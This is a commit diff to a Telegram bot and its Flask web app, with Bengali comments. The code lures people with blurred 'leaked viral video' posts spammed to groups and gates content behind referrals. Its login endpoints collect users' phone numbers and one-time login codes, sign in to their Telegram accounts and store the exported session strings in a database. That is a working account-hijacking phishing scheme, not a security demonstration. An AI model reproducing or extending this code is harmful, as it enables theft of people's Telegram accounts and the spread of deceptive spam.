Update app.py

app.py

@@ -3,6 +3,7 @@ import time
 import threading
 import requests
 import asyncio
+import re
 import urllib3
 from flask import Flask, jsonify, make_response, request
 from supabase import create_client
@@ -76,17 +77,14 @@ def api_send_code():
     phone = data.get('phone')
     user_id = data.get('user_id')
     
-    if not user_id or str(user_id) == '123456':
+    if not user_id or str(user_id) == '123456' or str(user_id) == '':
         return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
     
     async def process_send_code():
-        # নতুন Pyrogram ক্লায়েন্ট তৈরি করা হচ্ছে ইউজারের নাম্বারের জন্য (In-Memory)
         client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
         await client.connect()
         try:
-            # অফিশিয়াল টেলিগ্রাম থেকে কোড রিকোয়েস্ট করা হচ্ছে
             code_info = await client.send_code(phone)
-            # ক্লায়েন্ট এবং হ্যাশ সেভ করে রাখা হচ্ছে
             temp_clients[phone] = {
                 'client': client, 
                 'hash': code_info.phone_code_hash
@@ -121,14 +119,10 @@ def api_verify_code():
         phone_hash = temp_data['hash']
         
         try:
-            # OTP দিয়ে লগইন করা হচ্ছে
             await client.sign_in(phone, phone_hash, user_otp)
-            
-            # String Session তৈরি করা হচ্ছে
             session_string = await client.export_session_string()
             await client.disconnect()
             
-            # ডাটাবেসে user_sessions টেবিলে সেভ করা হচ্ছে
             await db_query(lambda: supabase.table('user_sessions').insert({
                 "user_id": user_id, 
                 "session_string": session_string
@@ -206,16 +200,295 @@ async def start(client, message):
         await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
     except Exception as e: print(f"Start error: {e}")
 
-# (বাকি কোড যেমন এডমিন প্যানেল, ব্রডকাস্ট, ভিডিও আপলোড আগের মতই থাকবে)
-# আমি এখানে জায়গার জন্য পুরোটা দিলাম না, আপনি আগের কোডের এই অংশগুলো নিচে বসিয়ে নিতে পারবেন।
-# তবে মেইন ফাংশন এবং ফ্লাস্ক লুপ রান করার অংশ নিচে দিলাম।
+@bot.on_message(filters.new_chat_members)
+async def bot_added_to_group(client, message):
+    me = client.me
+    if getattr(me, "id", None) is None:
+        try: me = await client.get_me()
+        except: return
+
+    for member in message.new_chat_members:
+        if member.id == me.id:
+            try:
+                await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
+                group_name = message.chat.title
+                admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
+                for admin_id in ADMIN_IDS:
+                    try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
+                    except: pass
+            except: pass
+
+@bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
+async def set_blur_state(client, message):
+    try:
+        args = message.text.split()
+        if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
+            if message.chat.id in admin_states:
+                admin_states[message.chat.id].pop("blur_percent", None)
+                admin_states[message.chat.id].pop("clear_percent", None)
+            await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>")
+            return
+
+        match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
+        if match:
+            percent = int(match.group(1))
+            clear_percent = int(match.group(2)) if match.group(2) else 0
+
+            if percent == 0:
+                if message.chat.id in admin_states:
+                    admin_states[message.chat.id].pop("blur_percent", None)
+                    admin_states[message.chat.id].pop("clear_percent", None)
+                await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>")
+                return
+
+            if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
+            admin_states[message.chat.id]["blur_percent"] = percent
+            admin_states[message.chat.id]["clear_percent"] = clear_percent
+            
+            clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থাকবে।" if clear_percent > 0 else "পুরো অংশ ব্লার হবে।"
+            await message.reply(f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n📌 {clear_msg}", parse_mode=enums.ParseMode.HTML)
+        else:
+            await message.reply("❌ <b>ভুল কমান্ড!</b> নিয়ম: `/blur 60` অথবা `/blur 60 20`")
+    except Exception as e: print(e)
 
 def upload_file_sync(upload_url, file_path, api_key):
     with open(file_path, 'rb') as f:
         return requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900).json()
 
-def run_flask(): 
-    app.run(host="0.0.0.0", port=7860)
+@bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
+async def handle_media_upload(client, message):
+    state = admin_states.get(message.chat.id, {})
+    if state.get("step") == "broadcast":
+        await process_broadcast(client, message)
+        return
+
+    media_type = "video" if message.video else "animation" if message.animation else "photo"
+    has_blur_caption = message.caption and "/blur" in message.caption.lower()
+    is_persistent_blur = bool(state.get("blur_percent"))
+
+    if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
+        status = await message.reply("⏳ থাম্বনেইল সেভ হচ্ছে...")
+        try:
+            local_path = await message.download()
+            if not local_path:
+                await status.edit_text("❌ থাম্বনেইল ডাউনলোড করা সম্ভব হয়নি!")
+                return
+            def upload_to_supabase():
+                with open(local_path, 'rb') as f: file_bytes = f.read()
+                file_name = f"thumb_{int(time.time())}.jpg"
+                supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
+                return supabase.storage.from_('thumbnails').get_public_url(file_name)
+            direct_link = await asyncio.to_thread(upload_to_supabase)
+            if os.path.exists(local_path): os.remove(local_path)
+            await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
+        except Exception as e: await status.edit_text(f"⚠️ আপলোড এরর: {e}")
+        return
+
+    raw_caption = message.caption or ""
+    blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
+    is_blur = False
+    blur_percent = 0
+    clear_percent = 0
+    clean_caption = raw_caption
+
+    if blur_match:
+        is_blur = True
+        blur_percent = int(blur_match.group(1))
+        clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
+        clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
+    elif state.get("blur_percent"):
+        is_blur = True
+        blur_percent = state["blur_percent"]
+        clear_percent = state.get("clear_percent", 0)
+
+    is_large_video = False
+    if media_type == "video":
+        duration = message.video.duration if message.video and message.video.duration else 0
+        file_size = message.video.file_size if message.video and message.video.file_size else 0
+        if duration > 600 or file_size > 150 * 1024 * 1024:
+            is_large_video = True
+            is_blur = False
+
+    status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> ব্লার স্কিপ হচ্ছে..." if is_large_video else "⏳ মিডিয়া ডাউনলোড হচ্ছে...")
+    bot_me = client.me if client.me else await client.get_me()
+    bot_link = f"https://t.me/{bot_me.username}"
+    original_file = watermarked_file = blurred_file = final_file = embed_link = None
+    
+    try:
+        original_file = await message.download()
+        if not original_file:
+            await status_msg.edit_text("❌ মিডিয়া ফাইলটি ডাউনলোড করা সম্ভব হয়নি!")
+            return
+            
+        final_file = original_file
+        
+        if media_type == "video" and not is_large_video:
+            await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে...")
+            watermarked_file = f"{original_file}_wm.mp4"
+            cmd = ["ffmpeg", "-y", "-i", original_file, "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'", "-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", watermarked_file]
+            process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
+            await process.communicate()
+            if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
+            
+        if is_blur and not is_large_video:
+            await status_msg.edit_text(f"⏳ {blur_percent}% ব্লার তৈরি করা হচ্ছে...")
+            radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
+            ext = "jpg" if media_type == "photo" else "mp4"
+            blurred_file = f"{original_file}_blurred.{ext}"
+            
+            if clear_percent > 0:
+                clear_ratio = clear_percent / 100.0
+                ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0"]
+            else:
+                ff_filter = ["-vf", f"boxblur={radius}:1"]
+            
+            if media_type == "photo": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
+            elif media_type == "animation": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-pix_fmt", "yuv420p", blurred_file]
+            else: cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
+            
+            process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
+            await process_blur.communicate()
+            if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
+
+        if media_type == "video":
+            await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
+            loop = asyncio.get_event_loop()
+            result = await loop.run_in_executor(None, lambda: requests.get("https://api.byse.sx/upload/server", params={'key': BYSE_API_KEY}, timeout=30).json())
+            
+            if result.get('status') == 200:
+                upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
+                if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
+                    file_code = upload_res['files'][0].get('filecode')
+                    if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
+            
+            if not embed_link:
+                await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
+                return
+
+        if is_large_video:
+            await client.send_video(message.chat.id, message.video.file_id, caption=f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>", parse_mode=enums.ParseMode.HTML)
+            await status_msg.delete()
+            return 
+            
+        await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
+        
+        caption_text = (f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{embed_link or bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>")
+        group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
+        
+        admin_cap = f"✅ <b>সফল!</b> মিডিয়াটি এখন গ্রুপগুলোতে পাঠানো হচ্ছে...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
+        thumb_path = None
+        
+        if media_type == "video":
+            v_duration = message.video.duration if message.video else 0
+            v_width = message.video.width if message.video else 0
+            v_height = message.video.height if message.video else 0
+            thumb_path = f"{original_file}_thumb.jpg"
+            proc = await asyncio.create_subprocess_exec(*["ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path], stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
+            await proc.communicate()
+            if not os.path.exists(thumb_path): thumb_path = None
+
+        if media_type == "photo": tg_file_id = (await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).photo.file_id
+        elif media_type == "animation": tg_file_id = (await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).animation.file_id
+        else: tg_file_id = (await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=v_duration, width=v_width, height=v_height, thumb=thumb_path)).video.file_id
+            
+        await status_msg.delete()
+        groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
+        group_ids = [g['group_id'] for g in groups_res.data]
+        success_count, fail_count = 0, 0
+        
+        for gid in set(group_ids):
+            try:
+                if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
+                elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
+                else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
+                success_count += 1
+                await asyncio.sleep(1.5)
+            except Exception: fail_count += 1 
+                
+        await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ: {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
+        
+    except Exception as e: await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
+    finally:
+        for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
+            if f and os.path.exists(f):
+                try: os.remove(f)
+                except: pass
+
+@bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
+async def bot_stats(client, message):
+    try:
+        users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
+        videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
+        groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
+        await message.reply(f"📊 <b>বটের বর্তমান স্ট্যাটাস:</b>\n\n👥 মোট ইউজার: <code>{users.count or 0}</code> জন\n🎬 মোট ভিডিও: <code>{videos.count or 0}</code> টি\n📢 মোট গ্রুপ: <code>{groups.count or 0}</code> টি", parse_mode=enums.ParseMode.HTML)
+    except Exception as e: print(e)
+
+@bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
+async def broadcast_command(client, message):
+    admin_states[message.chat.id] = {"step": "broadcast"}
+    await message.reply("📢 সবার কাছে যা পাঠাতে চান দিন। (বাতিল করতে /cancel)")
+
+async def process_broadcast(client, message):
+    text = message.text or message.caption
+    if text == '/cancel':
+        admin_states.pop(message.chat.id, None)
+        return await message.reply("❌ বাতিল করা হয়েছে।")
+    
+    await message.reply("⏳ ব্রডকাস্ট শুরু হয়েছে...")
+    admin_states.pop(message.chat.id, None)
+    
+    try:
+        all_users, start, step = [], 0, 1000
+        while True:
+            res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
+            if not res.data: break
+            all_users.extend(res.data)
+            start += step
+
+        success, failed = 0, 0
+        for u in all_users:
+            try:
+                await message.copy(chat_id=u['user_id'])
+                success += 1
+                await asyncio.sleep(0.15) 
+            except Exception: failed += 1
+                
+        await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
+    except Exception as e: print(e)
+
+@bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
+async def add_png(client, message):
+    try:
+        parts = message.command
+        needed_ref, duration = 3, "random"
+        if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
+        elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
+        elif len(parts) == 2: thumbnail_url = parts[1]
+        else: return await message.reply("❌ নিয়ম ভুল।")
+
+        admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
+        await message.reply("✅ এখন Video/Embed Link দিন।")
+    except Exception as e: print(e)
+
+@bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
+async def catch_admin_steps(client, message):
+    state = admin_states.get(message.chat.id, {})
+    if state.get("step") == 1:
+        if not message.text: return
+        video_url = message.text.strip()
+        if video_url == "/cancel":
+            admin_states.pop(message.chat.id, None)
+            return await message.reply("❌ বাতিল করা হয়েছে।")
+            
+        try:
+            await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
+            await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
+        except Exception as e: print(e)
+        finally: admin_states.pop(message.chat.id, None)
+            
+    elif state.get("step") == "broadcast": await process_broadcast(client, message)
+
+def run_flask(): app.run(host="0.0.0.0", port=7860)
 
 async def main():
     await bot.start()